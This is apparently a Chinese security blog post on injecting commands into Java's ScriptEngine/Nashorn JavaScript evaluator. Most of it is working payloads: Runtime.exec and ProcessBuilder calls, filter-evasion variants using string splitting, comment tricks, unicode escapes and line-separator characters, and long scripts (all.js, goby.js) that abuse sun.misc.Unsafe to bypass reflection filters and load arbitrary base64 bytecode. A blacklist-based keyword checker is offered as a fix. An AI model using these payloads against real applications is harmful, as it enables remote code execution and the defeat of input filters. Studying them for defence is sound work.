java中js命令执行与绕过

0x01 漏洞原因

​ java中javax.script.ScriptEngine 类来解析js并执行js代码。

1
new javax.script.ScriptEngineManager().getEngineByName("js").eval(test);

因为scriptEngine的相关特性,可以执行java代码,所以当我们把test替换为如下代码,就可以命令执行了。

1
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a calculator")};";

0x02 基本payload

1
2
3
4
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};";
String test="var a = mainOutput(); function mainOutput() { var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";
// 套娃
String taowa = "var a = mainOutput(); function mainOutput() { new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"var a = test(); function test() { var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");};\"); };";

0x03 垃圾字符payload

1
2
3
4
5
6
7
// 拼接        
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
// **截断
String test="var a = mainOutput(); function mainOutput() { var x=java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator\");};";
// 空格截断
String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"open -a Calculator\");};";

0x04 编码与反射

1
2
3
4
5
6
7
8
9
10
11
12
String test53 = "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063(\"open -a Calculator\");";

String test55 = "var clazz = java.security.SecureClassLoader.class;\n" +
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var classBytes = '"+b64byte+"';" +
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
" var constructor = clazz.getDeclaredConstructor();\n" +
" constructor.setAccessible(true);\n" +
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
" clz.newInstance();";

0x05 特性绕过

1
2
3
4
5
        //使用特有的Java对象的type()方法导入类,轻松绕过
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
//兼容Rhino功能,又有了两种新的绕过方式。
String test52 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator\");";
String test54="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator\");}";

0x06 unicode换行符

既然Nashorn是一个解析引擎,那么他一定有词法分析器.(感叹编译原理没有白学)。于是我下载了源码,开始对源码进行分析。我在jdk.nashorn.internal.parser包下面发现了Lexer类。类中有几个函数是用来判断js空格js换行符 的,其中主要的三个字符串如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static final String LFCR     = "\n\r"; // line feed and carriage return (ctrl-m) 
private static final String JAVASCRIPT_WHITESPACE_EOL =
LFCR +
"\u2028" + // line separator
"\u2029" // paragraph separator
;
private static final String JAVASCRIPT_WHITESPACE =
SPACETAB +
JAVASCRIPT_WHITESPACE_EOL +
"\u000b" + // tabulation line
"\u000c" + // ff (ctrl-l)
"\u00a0" + // Latin-1 space
"\u1680" + // Ogham space mark
"\u180e" + // separator, Mongolian vowel
"\u2000" + // en quad
"\u2001" + // em quad
"\u2002" + // en space
"\u2003" + // em space
"\u2004" + // three-per-em space
"\u2005" + // four-per-em space
"\u2006" + // six-per-em space
"\u2007" + // figure space
"\u2008" + // punctuation space
"\u2009" + // thin space
"\u200a" + // hair space
"\u202f" + // narrow no-break space
"\u205f" + // medium mathematical space
"\u3000" + // ideographic space
"\ufeff" // byte order mark
;

很显然到这里我们已经获取了非常多的可以替换空格和换行符的unicode码。于是我就简单尝试了一下绕过。在尝试过程中发现部分也是可以被检测出来的,而另外一部分不起作用。我猜想是js和java的处理这些字符的逻辑不同导致的

1
2
String test62="var test = mainOutput(); function mainOutput() { var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");};";

skipComments函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
protected boolean skipComments() {
// Save the current position.
final int start = position;

if (ch0 == '/') {
// Is it a // comment.
if (ch1 == '/') {
// Skip over //.
skip(2);
// Scan for EOL.
while (!atEOF() && !isEOL(ch0)) {
skip(1);
}
// Did detect a comment.
add(COMMENT, start);
return true;
} else if (ch1 == '*') {
// Skip over /*.
skip(2);
// Scan for */.
while (!atEOF() && !(ch0 == '*' && ch1 == '/')) {
// If end of line handle else skip character.
if (isEOL(ch0)) {
skipEOL(true);
} else {
skip(1);
}
}

if (atEOF()) {
// TODO - Report closing */ missing in parser.
add(ERROR, start);
} else {
// Skip */.
skip(2);
}

// Did detect a comment.
add(COMMENT, start);
return true;
}
} else if (ch0 == '#') {
assert scripting;
// shell style comment
// Skip over #.
skip(1);
// Scan for EOL.
while (!atEOF() && !isEOL(ch0)) {
skip(1);
}
// Did detect a comment.
add(COMMENT, start);
return true;
}

// Not a comment.
return false;
}

从上面的代码可以看出来,当遇到以/开头的就会检测第二个是不是/如果是的话就回去找EOF换行符,而这些//......EOF之间的内容都会被当做注释绕过的。
那么当我们的代码是如下的样子

1
2
3
String test61="var test = mainOutput(); function mainOutput() { var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");};";

String test61="var test = mainOutput(); function mainOutput() { var x=java.lang./**/Runtime.getRuntime().exec(\"open -a Calculator\");};";

因为我们的正则不严谨,用于匹配的字符串为var test = mainOutput(); function mainOutput() { var x=java.lang.而被解析后的代码为var test = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec(\"calc\");}; 成功绕过了我们的检测。
上面的代码还有一个关于#的注释,但是一直没有尝试成功,猜测可能跟assert scripting这行代码有关。

0x07 修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
class KeywordCheckUtils7 {

private static final Set<String> blacklist = Sets.newHashSet(
// Java 全限定类名
"java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
"java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
"java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
"java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
"java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
"java.security.AccessControlContext", "java.lang.ProcessBuilder",
//反射关键字
"invoke","newinstance",
// JavaScript 方法
"eval", "new function",
//引擎特性
"Java.type","importPackage","importClass","JavaImporter"
);

public KeywordCheckUtils7() {
// 空构造方法
}

public static void checkInsecureKeyword(String code) throws Exception {
// 去除注释
String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*[\n\r\u2029\u2028])", " ");
//去除特殊字符
removeComment =StringUtils.replacePattern(removeComment,"[\u2028\u2029\u00a0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\ufeff]","");
// 去除空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");
System.out.println(removeWhitespace);
System.out.println(oneWhiteSpace);
Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
StringUtils.containsIgnoreCase(oneWhiteSpace, s)).collect(Collectors.toSet());

if (!CollectionUtils.isEmpty(insecure)) {
System.out.println("存在不安全的关键字:"+insecure);
throw new Exception("存在安全问题");
}else{
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(code);
}
}
}

0x08 实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.DriverManager;

public class h2client {
private static String b64byte="";
public static void main(String[] args) throws Exception{
// classloader
String test55 = "var clazz = java.security.SecureClassLoader.class;\n" +
" var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var classBytes = '"+b64byte+"';" +
" var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
" var constructor = clazz.getDeclaredConstructor();\n" +
" constructor.setAccessible(true);\n" +
" var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
" clz.newInstance();";

//使用特有的Java对象的type()方法导入类,轻松绕过
String test51="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"open -a Calculator\");";
//兼容Rhino功能,又有了两种新的绕过方式。
String test52 = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"open -a Calculator\");";
String test54="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"open -a Calculator\");}";
String test53 = "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063(\"open -a Calculator\");";

String taowa = "var a = mainOutput(); function mainOutput() { new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"var a = test(); function test() { var x=java.lang.\"+\"Runtime.getRuntime().exec(\\\"open -a Calculator\\\");};\"); };";

String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"open -a Calculator\");};";
String test62="var test = mainOutput(); function mainOutput() { var x=java.\u000blang.Runtime.getRuntime().exec(\"open -a Calculator\");};";
String test61="var test = mainOutput(); function mainOutput() { var x=java.lang./Runtime.getRuntime().exec(\"open -a Calculator\");};";


new javax.script.ScriptEngineManager().getEngineByName("js").eval(test61);
}
}

js加载任意字节码

all.js

适用范围:jdk6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
unsafe = theUnsafeMethod.get(null);

function bypass() {
var reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);

var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").newInstance());
}
var clz = java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes();
var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), clz, null);
var reflectionDataField = ClassAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(java.lang.Class.forName("java.lang.Class"), unsafe.objectFieldOffset(reflectionDataField), null);
}

function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}

function defineClass(classBytes) {
try {
unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();
} catch (e) {
bypass()
var defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
var modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), 0x00000001);
var cc = defineClassMethod.invoke(
java.lang.Thread.currentThread().getContextClassLoader(),
classBytes,
0,
classBytes.length
);
cc.newInstance();
}
}
defineClass(Base64DecodeToByte(code));

defineAnonymousClass.js

适用范围:JDK6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function Base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
return bt;
}

function defineClass(classBytes) {
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), classBytes, null).newInstance();
}

defineClass(Base64DecodeToByte(code));

goby.js

适用范围:JDK6-14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
try {
load("nashorn:mozilla_compat.js");
} catch (e) {
}

function getUnsafe() {
var theUnsafeMethod =
java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafeMethod.setAccessible(true);
return theUnsafeMethod.get(null);
}

function removeClassCache(clazz) {
var unsafe = getUnsafe();
var clazzAnonymousClass = unsafe.defineAnonymousClass(
clazz,
java.lang.Class.forName("java.lang.Class")
.getResourceAsStream("Class.class")
.readAllBytes(),
null
);
var reflectionDataField =
clazzAnonymousClass.getDeclaredField("reflectionData");
unsafe.putObject(clazz, unsafe.objectFieldOffset(reflectionDataField), null);
}

function bypassReflectionFilter() {
var reflectionClass;
try {
reflectionClass = java.lang.Class.forName(
"jdk.internal.reflect.Reflection"
);
} catch (error) {
reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
}
var unsafe = getUnsafe();
var classBuffer = reflectionClass
.getResourceAsStream("Reflection.class")
.readAllBytes();
var reflectionAnonymousClass = unsafe.defineAnonymousClass(
reflectionClass,
classBuffer,
null
);
var fieldFilterMapField =
reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
var methodFilterMapField =
reflectionAnonymousClass.getDeclaredField("methodFilterMap");
if (
fieldFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(fieldFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
if (
methodFilterMapField
.getType()
.isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))
) {
unsafe.putObject(
reflectionClass,
unsafe.staticFieldOffset(methodFilterMapField),
java.lang.Class.forName("java.util.HashMap")
.getConstructor()
.newInstance()
);
}
removeClassCache(java.lang.Class.forName("java.lang.Class"));
}

function setAccessible(accessibleObject) {
var unsafe = getUnsafe();
var overrideField = java.lang.Class.forName(
"java.lang.reflect.AccessibleObject"
).getDeclaredField("override");
var offset = unsafe.objectFieldOffset(overrideField);
unsafe.putBoolean(accessibleObject, offset, true);
}

function defineClass(bytes) {
var clz = null;
var version = java.lang.System.getProperty("java.version");
var unsafe = getUnsafe();
var classLoader = new java.net.URLClassLoader(
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.net.URL"),
0
)
);
try {
if (version.split(".")[0] >= 11) {
bypassReflectionFilter();
defineClassMethod = java.lang.Class.forName(
"java.lang.ClassLoader"
).getDeclaredMethod(
"defineClass",
java.lang.Class.forName("[B"),
java.lang.Integer.TYPE,
java.lang.Integer.TYPE
);
setAccessible(defineClassMethod);
clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
} else {
var protectionDomain = new java.security.ProtectionDomain(
new java.security.CodeSource(
null,
java.lang.reflect.Array.newInstance(
java.lang.Class.forName("java.security.cert.Certificate"),
0
)
),
null,
classLoader,
[]
);
clz = unsafe.defineClass(
null,
bytes,
0,
bytes.length,
classLoader,
protectionDomain
);
}
} catch (error) {
error.printStackTrace();
} finally {
return clz;
}
}

function base64DecodeToByte(str) {
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.lang.Class.forName("java.util.Base64").newInstance().getDecoder().decode(str);
}
return bt;
}
clz = defineClass(base64DecodeToByte(code));
clz.newInstance();

原贴

https://forum.butian.net/share/487

https://github.com/yzddmr6/Java-Js-Engine-Payloads?tab=readme-ov-file#js%E5%8A%A0%E8%BD%BD%E4%BB%BB%E6%84%8F%E5%AD%97%E8%8A%82%E7%A0%81


java中js命令执行与绕过
https://unam4.github.io/2024/08/15/java中js命令执行与绕过/
作者
unam4
发布于
2024年8月15日
许可协议